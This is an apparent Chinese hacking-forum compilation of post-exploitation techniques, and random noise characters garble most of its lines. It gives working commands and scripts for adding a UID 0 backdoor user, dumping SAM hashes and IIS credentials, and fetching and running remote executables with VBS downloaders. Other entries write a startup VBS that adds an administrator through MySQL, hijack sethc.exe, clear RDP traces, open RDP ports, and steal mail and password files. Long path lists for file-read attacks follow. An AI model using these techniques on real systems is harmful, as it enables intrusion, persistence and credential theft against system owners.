  O  ]' K( @, G1 E- X; ]6 f% Y, x
七: Linux添加UID为0的root用户
% T8 L0 r4 k7 W4 d) \useradd -o -u 0 nothack
# L. z' o. J- ^5 n) s$ D, ~
八.freebsd本地提权
[argp@julius ~]$ uname -rsi
; @$ Z" c3 y( H! z" q* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
9 @6 X) u- f3 @! ]/ ?. J  b* vfs.usermount: 1
* [argp@julius ~]$ id
3 b) _  u5 ~! D0 _* uid=1001(argp) gid=1001(argp) groups=1001(argp)
9 U7 O# h. ]( B9 M: |. J* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
4 Q6 U) E6 Y1 \( P, Y5 `, T1 Q* [argp@julius ~]$ ./nfs_mount_ex
/ I. }2 Y/ Q/ T$ I2 T*
calling nmount()
1 W& u9 |9 a) s0 v8 I! p
: C6 Q2 p4 P! a（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
( {  i2 e; \2 q- W/ f——————————————
; O# L0 ]4 @$ h- Q4 y% `感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
* |* [$ Z- B  l# i————————————————————————————
# U. Q, P, V+ F- Z- j$ a# J7 R1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
& ]% m( V; d9 jalzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
注：
+ j* y0 @8 }) ^9 S. F关于tar的打包方式,linux不以扩展名来决定文件类型。
; h+ P9 B0 t9 V0 x若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
" E  ^. H& Z% _% z那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  
$ a  L# q% G2 m
提权先执行systeminfo
token 漏洞补丁号 KB956572
8 ?: z. Z* e! AChurrasco          kb952004
命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
2、收集系统信息的脚本  
& ]- z; f! C; |for window：

@echo off
6 p7 m' N' @% @% Z$ ]2 jecho #########system info collection
systeminfo
1 R: ?  Y6 {$ s( F/ W2 jver
hostname
/ ]/ M* X' c( o' Qnet user
net localgroup
) r' j8 W% o- w6 O9 w6 ^% |net localgroup administrators
net user guest
0 S- [7 H9 `4 ?net user administrator
) M  e: x0 u& {
echo #######at- with   atq#####
) N/ N( u" S3 P6 Z+ t( Secho schtask /query
3 S" o+ p+ X3 L6 S
, ^$ U' P: N2 r& qecho
echo ####task-list#############
tasklist /svc
echo
+ e: [( I) ^3 Jecho ####net-work infomation
ipconfig/all
  q9 x) E: S: J' vroute print
9 L- |- V# d- A+ a: p, p# Karp -a
netstat -anipconfig /displaydns
7 c7 O; P, z1 `% V- R# J3 |/ becho
echo #######service############
. Y3 T7 i, V' _sc query type= service state= all
5 M- Y+ J" `: q$ ^echo #######file-##############
cd \
4 S* R, t+ L# y4 P  ptree -F
for linux：
1 `6 I* [& ]1 A8 M8 t
$ T" V% M1 ]( A#!/bin/bash

+ E: v: E. Y9 X( t" M- Yecho #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
$ D* s1 P, r; V, m* [4 |+ x0 Kecho #######basic infomation##
- ?: g$ a$ C+ H" L+ l" e3 k; Bcat /proc/meminfo
+ L& S# f! z( Q) {9 r* `2 Zecho
cat /proc/cpuinfo
- z- C6 G  K+ Z5 Qecho
rpm -qa 2>/dev/null
( j3 S: W& a0 B1 L0 i######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null
2 G& G4 A" `6 B) I; V8 G
# _; C4 h1 J7 h# k0 u9 Y" g2 a( p
, g! \" P& s1 R5 ]5 O9 M# |$ @echo 'u'r id is' `id`
: H- o; h9 a# }/ pecho ###atq&crontab#####
atq
crontab -l
) V& T1 g) e; Xecho #####about var#####
set
" N# f$ g& I- V9 Z$ I
echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
+ b$ d% [5 h6 Z6 y: V9 E! {cat /etc/hosts
" k+ @4 m' g; J; U$ n% E) Z9 b2 q5 hhostname
; Y+ h: ]4 f& x! E5 ^0 c& xipconfig -a
9 J* m6 Z, h8 h( Parp -v
& `+ }, v, _! R% ]% @3 g' `echo ########user####
cat /etc/passwd|grep -i sh

0 ^9 F* l8 ^: H2 eecho ######service####
chkconfig --list
/ H4 S1 V0 c# \+ b
for i in {oracle,mysql,tomcat,samba,apache,ftp}
. ]( ?, X# L3 `# }5 V1 `+ ycat /etc/passwd|grep -i $i
done
- D* P3 _8 Y/ s9 I, W; _8 {7 u0 O
locate passwd >/tmp/password 2>/dev/null
# g- p" h9 X7 B0 {: s, _sleep 5
locate password >>/tmp/password 2>/dev/null
sleep 5
locate conf >/tmp/sysconfig 2>dev/null
sleep 5
locate config >>/tmp/sysconfig 2>/dev/null
; N4 N7 B* u7 h2 \sleep 5
% g% E5 u# s8 l# H7 @3 Z
###maybe can use "tree /"###
echo ##packing up#########
* S: e, F" f' l% V4 ctar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
& q; e/ X$ a! R/ }( i) |5 Q- R0 ~+ {rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
* }% l: i2 @& k, _$ C' W/ p——————————————
3、ethash 不免杀怎么获取本机hash。
$ C& n0 ]. T: i) m首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
5 C+ s% }5 p0 |  ^               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
0 |. h5 W$ f  A据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
4、vbs 下载者
1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
  h/ t  c# y9 F7 V2 k$ `echo sGet.Type = 1 >>c:\windows\cftmon.vbs
% P9 N& b! E0 E6 r- Q# Z3 r/ Gecho sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
4 N1 w; T  j7 b, \6 Mecho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs

2
On Error Resume Nextim iRemote,iLocal,s1,s2
5 J% w+ j/ ^# L% _) f% yiLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
3 [% `; T5 I; r5 _9 a0 [Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
; T+ F8 t3 c) V( W6 l
) V" P0 ?1 j! a$ E/ q# g+ V- Wcscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
: F- M7 Z) e! q
5 y' [6 }( y+ C当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
8 G7 A, @3 L5 t3 D7 T! s——————————————————
5、
+ V9 z6 `0 q, X+ d1.查询终端端口
+ M; l+ F' Q$ b! h2 i' \5 cREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
  L* O2 M9 Z* z. G" D' Q2.开启XP&2003终端服务
6 x6 t6 g) u4 b7 K: D! q3 v: U4 u# iREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
% Z, ]8 X! |* ^4 k3.更改终端端口为2008(0x7d8)
4 a5 M: D( Q$ `/ f( HREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4 ?; {9 Z& i4 s; x' o9 k* B6 j2 ?4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
: e4 e4 Z% e' M' t! A4 WREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
- r" D7 Y: |7 G) V. k, V6、create table a (cmd text);
- E% p4 y3 b3 vinsert into a values ("set wshshell=createobject (""wscript.shell"")");
; k. ?7 d1 c! E9 @8 g' [2 tinsert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
4 S+ w# I# p6 t  a8 Uselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
! A. G' U% @- g) ]' d) \8 O7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
8、for /d %i in (d:\freehost\*) do @echo %i

列出d的所有目录
  
  for /d %i in (???) do @echo %i
  [  m' ?# X+ Z" o3 w$ H
1 q4 v& u: K# L; i# N5 @把当前路径下文件夹的名字只有1-3个字母的打出来
% [4 K0 r9 ~, E  @, Z8 K# g% Z0 H
! ?  j1 i- R$ Y+ U4 q2.for /r %i in (*.exe) do @echo %i
! \" R" S/ u0 u) m5 D, h  s0 L  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
  s# d8 p0 I6 D3 ?
3.for /f %i in (c:\1.txt) do echo %i
! e7 ^4 ]5 e% }# \  
; U3 b+ V6 r! Y) u3 r- N) H  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
, @: `2 z  Z4 d' R! S+ G
7 p) B! d  K# K, y- c+ k4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

  delims=后的空格是分隔符 tokens是取第几个位置
# I! B4 w& Q. l  P1 P——————————
" S+ p7 Q& s/ V/ Y! h+ f; K7 M" }3 s●注册表:
1 U7 X( |. ?; x- l2 i0 E" C1.Administrator注册表备份:
- j; U/ j6 W" w  h+ ?reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
4 F8 Q6 T  Z5 a: O) V
# u1 r: D, o; M9 u$ [2.修改3389的默认端口:
+ R' f6 R) z! h( w; d9 m" ]3 V( BHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.

3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
8 S: e# v' i+ ^; S# `6 O
& s; F1 n0 Y- d- E4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg
1 T* j8 ^$ g7 ^! w. Z# n
5.禁用TCP/IP端口筛选(需重启):
. }4 [  y) a9 gREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
3 A9 c0 I7 K- k: Z+ j: F3 l1 h/ y
  ^, ]9 W! n, C3 }/ j0 s6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
+ u) R9 U: h8 r或者
6 f* }7 \3 `; U# L9 Fnetsh ipsec dynamic set config ipsecexempt value=0

7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n
, b* ]$ ]" K! G8 D0 z
8.系统口令恢复LM加密:
  p( C, r2 e- X$ breg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
6 Y4 ~9 j) s( Z7 p- N
9.另类方法抓系统密码HASH
4 ~8 y" p" N9 g$ a6 Greg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive
( N& ^; T& E) E+ s2 l+ Q) l
10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
$ D; C/ Q: u! M$ a. e2 G4 p
. S# {7 k% U5 U; dreg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
# P8 H1 n1 W# G' ^$ i  r8 Y% A-----------------------------------
/ l2 \& r, g+ T. k& s星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
) _% c8 @+ t: m" gFor Each obj3w In objservice
+ `  D6 M% q( l5 dchildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
( e3 j; L) i* a; T) Oif IsNumeric(childObjectName)=true then
3 [( ^' z  {; M, Xset IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
exit for
1 U7 {4 A: n, u9 A) g  amsgbox("error!")
4 Z8 N9 G  B" `- K; y5 S/ Owscript.quit
end if
( T% a8 n! N7 U. B2 C7 Z) @: aserverbindings=IIS.serverBindings
ServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
6 b  S  T& C4 [, jpass=iisweb.AnonymousUserPass
path=IIsWeb.path
0 ?7 v9 O8 H' g. B- E1 Z' f7 |% n$ n' Hlist=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
Next
5 [3 J/ \" d4 Ywscript.echo list
+ Z1 U; I6 ?8 S1 t) h- X# s  J, }' CSet ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
' u& J" O7 f0 @- c0 W. ?复制代码
; f, W( A1 x* w$ ~8 v----------------------2011新气象，欢迎各位补充、指正、优化。----------------
+ `( u- g4 d& s# A0 J  @1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
$ s/ n, ]7 I6 z3 e4 a: z; b</OBJECT>
+ t8 b/ d* y0 n7 h' L复制代码
7 B: X2 J% y, ?8 Q* Q) R; Z然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
/ M& n) L6 h! O. C* y) ?PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
$ ]% `; g' P0 i5 z$ k9 M0 G0 \' c url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
8 L: ~0 V: I1 y! K9 D 解决方法
url=request.severvariables("path_info")
3 H7 Q" K7 }) d$ o- C path_info可以直接呈现虚拟路径 顺利解析gif大马

, A5 ~' ]; q) H' y* N- _8 h==============================================================
- w- x+ a, x/ FLINUX常见路径：

/etc/passwd
/ F* h+ \7 ]) s+ }/etc/shadow
/ J' b- Y7 l- @; D4 O* M1 d6 }/etc/fstab
5 ^& w& }$ z# x+ R# }' Y7 |7 ]/etc/host.conf
/etc/motd
/etc/ld.so.conf
; E8 q2 ^& f3 V" Z5 |0 z4 u% F/var/www/htdocs/index.php
/var/www/conf/httpd.conf
( }* u" g6 F+ R/ U1 r, z; x/var/www/htdocs/index.html
/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
. U+ I' u/ G8 E; X0 W/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
/var/www/index.html
* c4 L/ z' V5 r# y0 @. E/var/www/index.php
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
9 a* ^4 K( {9 \& X/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
  S7 `. w. S3 \/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
2 E7 y! m) Z; @/usr/local/httpd2.2/htdocs/index.php
+ c! Q: V( e0 f/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
6 B! I9 I* ^) s" {3 i( v- b& O- F; h4 k/tmp/apache/htdocs/index.php
& ?. s$ m4 U0 O/ J* g* R/etc/httpd/htdocs/index.php
) z; @5 n. m" h4 P8 T/etc/httpd/conf/httpd.conf
* l, t5 S) R4 O2 @/etc/httpd/htdocs/index.html
0 z* H5 D# k+ u8 x: A. W9 [/www/php/php.ini
, l2 M* F. V- Q5 O/www/php4/php.ini
* R; J2 o+ S0 [2 z; ^2 z+ R, y! l6 h/www/php5/php.ini
8 P% Q4 b" d: b2 t& Q/www/conf/httpd.conf
/www/htdocs/index.php
/www/htdocs/index.html
5 c8 H9 ~; r2 v: l( [  }2 q, H- S/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
+ j- R" ?5 C( J& X/etc/apache/apache.conf
/etc/apache2/apache.conf
$ E0 G2 P( W5 @! ~& P" l& u/etc/apache/httpd.conf
/etc/apache2/httpd.conf
/ K* o$ r# F& l; N' G* l8 M( Y/ t/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
. p7 Q  y9 E" _* u  E# q/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
, B1 x9 z# s5 B. {9 i1 x& W1 e/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
( {$ W" V, r! s1 G/home/apache2/conf/httpd.conf
- l7 U- }- z4 U! D' Z/var/log/apache/error_log
. p+ Q8 y1 E9 w/ [- u. R/var/log/apache/error.log
/var/log/apache/access_log
; ]8 z, b- F; _) S. A. Z# f/var/log/apache/access.log
/var/log/apache2/error_log
3 r7 L* k: D/ X* l/var/log/apache2/error.log
. N9 G7 |* y- D/ p. @/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
% Q% w- z0 U$ i! i: o- W6 z/var/www/logs/access_log
/var/www/logs/access.log
1 l& E) `( P7 L; H" m/ |/usr/local/apache/logs/error_log
: i, [# C6 l) F2 {) |7 ^1 }/usr/local/apache/logs/error.log
1 w3 Y9 T/ N& h; i( L/usr/local/apache/logs/access_log
, s; Y+ _7 C( ]6 j9 ~/usr/local/apache/logs/access.log
, [% F* n9 k8 D6 Y" h1 `7 Q5 W5 Y/var/log/error_log
) |- W0 L4 |$ |+ A! E/var/log/error.log
/var/log/access_log
' W) [0 p1 j7 u4 R" @/var/log/access.log
$ E0 Y, a$ }! c. R/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
4 l' G# A  }. C/ h/etc/php.ini
/bin/php.ini
7 t  [5 Z; T: f: q/etc/init.d/httpd
* ?8 ?, G! Z! z/etc/init.d/mysql
/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
, _1 m2 S6 j) ^1 g/usr/local/etc/php.ini
; M6 o% x6 J5 V! q/usr/local/lib/php.ini
  K' n9 L; L' `0 s8 `0 z/usr/local/php/lib/php.ini
6 Y( W+ H6 A, U" o& b/usr/local/php4/lib/php.ini
, w2 n; R: d' x4 c' b1 y% @/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
: P4 m$ r  n  E7 Q$ O/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
0 E. W8 C2 Q5 j' x: g) P- Y7 a/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
8 d' e, C, v$ L9 f9 w: y/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
; a4 @- T5 Z2 b% O1 x: ]/etc/php5/apache/php.ini
# J0 s! e4 g1 Z8 Z( H. B7 q9 s/etc/php5/apache2/php.ini
/etc/php/php.ini
. K5 s8 l7 j1 T/ I; g/etc/php/php4/php.ini
/etc/php/apache/php.ini
/etc/php/apache2/php.ini
0 M$ \& \% p/ N1 |# g/web/conf/php.ini
) O' s5 ~( Z; G% g$ _5 j/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
7 j4 k# x' |# e8 Q/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
" K/ c0 c: Y+ h/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
/php5/php.ini
" p, P# l6 m9 I  [: G0 A/php4/php.ini
/php/php.ini
/PHP/php.ini
5 n  m5 F# s1 P. I# M/ E) p" K7 Q/apache/php/php.ini
% N+ X' L3 f3 F; D6 C/xampp/apache/bin/php.ini
4 F( b5 x$ f* D: S& o$ C- }/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
* z; A1 \, f& F/home2/bin/stable/apache/php.ini
9 I; [2 r4 j% J% W0 Y# @" o/home/bin/stable/apache/php.ini
+ E; @! Z$ X8 _' c" f/var/log/mysql/mysql-bin.log
/var/log/mysql.log
% M, {" @3 s" q- X4 c" k- J/var/log/mysqlderror.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/mysql.log
/var/lib/mysql/my.cnf
: w* c1 z7 j0 k! c  K/usr/local/mysql/my.cnf
' p8 C* M6 r+ o% `* `0 y/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
/ z; F# j: u" `) R9 H! @/etc/my.cnf
/usr/local/cpanel/logs
, l3 F8 F; @0 k# t/usr/local/cpanel/logs/stats_log
" V% F8 y: }0 q. S) ?% @/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
+ p$ j, X4 b$ q7 j# L5 G& y/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
3 @5 O- i9 |2 T& C/usr/local/share/examples/php4/php.ini
( I& S1 @. Z4 W/usr/local/share/examples/php/php.ini
) e$ [2 a# ~7 ?; M
2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

c:\windows\php.ini
4 i0 U% o) O7 V" |c:\boot.ini
5 a, |* f, C+ I$ j, {9 Rc:\1.txt
c:\a.txt
* v0 H# ^: c) u5 L" K8 B% Q; ^* D
c:\CMailServer\config.ini
6 }6 U! u/ m5 ?3 j) A6 V/ D0 H# ~7 `c:\CMailServer\CMailServer.exe
4 I. [" n% L( }c:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
; L& A3 _& R6 Fc:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
+ S. k  ]; R6 o/ t% p6 `C:\WINDOWS\7i24iislog4.exe
' ?" O+ L, n0 S/ g# p+ s5 SC:\WINDOWS\7i24tool.exe
2 u/ ]! y+ h, x2 A3 F
3 b6 a! }& \* h% [4 t- V5 e6 r' ]c:\hzhost\databases\url.asp
4 W& G( b. v. v) `
c:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

. k9 K2 |. @5 G  I2 t1 fC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
c:\web\index.html
c:\www\index.html
c:\WWWROOT\index.html
c:\website\index.html
! T& k: a0 v2 I- d# p$ F! @: |; Dc:\web\index.asp
1 k- F/ Y$ Z# d& B* f% p4 Rc:\www\index.asp
6 j  _, p) n# `0 k% N, {c:\wwwsite\index.asp
c:\WWWROOT\index.asp
c:\web\index.php
  N1 n  e% z8 b; l% ]+ ~) N1 c9 Mc:\www\index.php
! p3 [9 N" q* S/ }* Gc:\WWWROOT\index.php
c:\WWWsite\index.php
c:\web\default.html
( v5 ]+ j0 M  N, z4 Qc:\www\default.html
# E. p, f2 n' f! ~6 \c:\WWWROOT\default.html
: q2 N# ~. t% H) P- N3 cc:\website\default.html
9 m7 P. B$ v6 t( A* hc:\web\default.asp
+ s, @9 K% h5 u2 |/ Sc:\www\default.asp
c:\wwwsite\default.asp
# P6 a8 n  |  w. ?% h2 j6 `  Q- bc:\WWWROOT\default.asp
c:\web\default.php
( C7 g6 f: Z0 }c:\www\default.php
c:\WWWROOT\default.php
c:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
- v  @7 \; s! s5 Mc:\windows\notepad.exe
c:\winnt\notepad.exe
8 R, W* ]" N' Y3 }) eC:\Program Files\Microsoft Office\OFFICE10\winword.exe
* L+ _5 c# Z# qC:\Program Files\Microsoft Office\OFFICE11\winword.exe
9 W7 c; q! F6 j2 V% ~/ oC:\Program Files\Microsoft Office\OFFICE12\winword.exe
+ I( f& k: q; N, n& s0 fC:\Program Files\Internet Explorer\IEXPLORE.EXE
5 Y- H9 m6 |! `9 }( i! D' _, qC:\Program Files\winrar\rar.exe
0 |4 L, }3 x8 N: iC:\Program Files\360\360Safe\360safe.exe
- z* z: C9 ^/ I6 b4 c! sC:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
5 g. G! ^) b% f5 X+ Jc:\ravbin\store.ini
' B6 o* i- L* N8 \c:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
! f; O' r5 ^6 b1 M1 c. `5 z% J( KC:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
# ~# U8 k. U4 O1 @& D/ g. @C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
/ s7 n5 o/ G1 H; HC:\Documents and Settings\Administrator\桌面\1.txt
# Z9 P' |4 Z2 ?. a9 P' O- EC:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
! A; l2 I" r  t9 H; S' j) QE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
9 q6 s; w8 G5 C5 ^C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
* q1 D6 [, M0 K6 O% A2 _C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
& }" G+ }  Q/ _5 M% J* YC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
- t0 q' z" H, w; x- |- {C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
/ w7 A! d; J1 }& s  fC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
6 M3 b4 W# O2 A8 a4 h5 |5 p7 K: EC:\MySQL\MySQL Server 5.0\my.ini
6 d0 |7 u( u) W3 m$ A) oC:\Program Files\MySQL\MySQL Server 5.0\my.ini
9 e# h3 h6 K, H: l  C0 X' IC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
# R% h- B2 W8 i. p. {8 WC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
7 U- [% s& M4 w1 c. ec:\MySQL\MySQL Server 4.1\bin\mysql.exe
  C+ n; E4 u8 ]c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
  \6 P# r/ T" T4 V  I) QC:\Program Files\Oracle\oraconfig\Lpk.dll
+ {2 `# w9 \" bC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
6 V) a5 v- T, x8 }2 rC:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
- a/ l& y3 o' K* Y* V- u1 ?6 vC:\WINDOWS\system32\inetsrv\MetaBase.xml
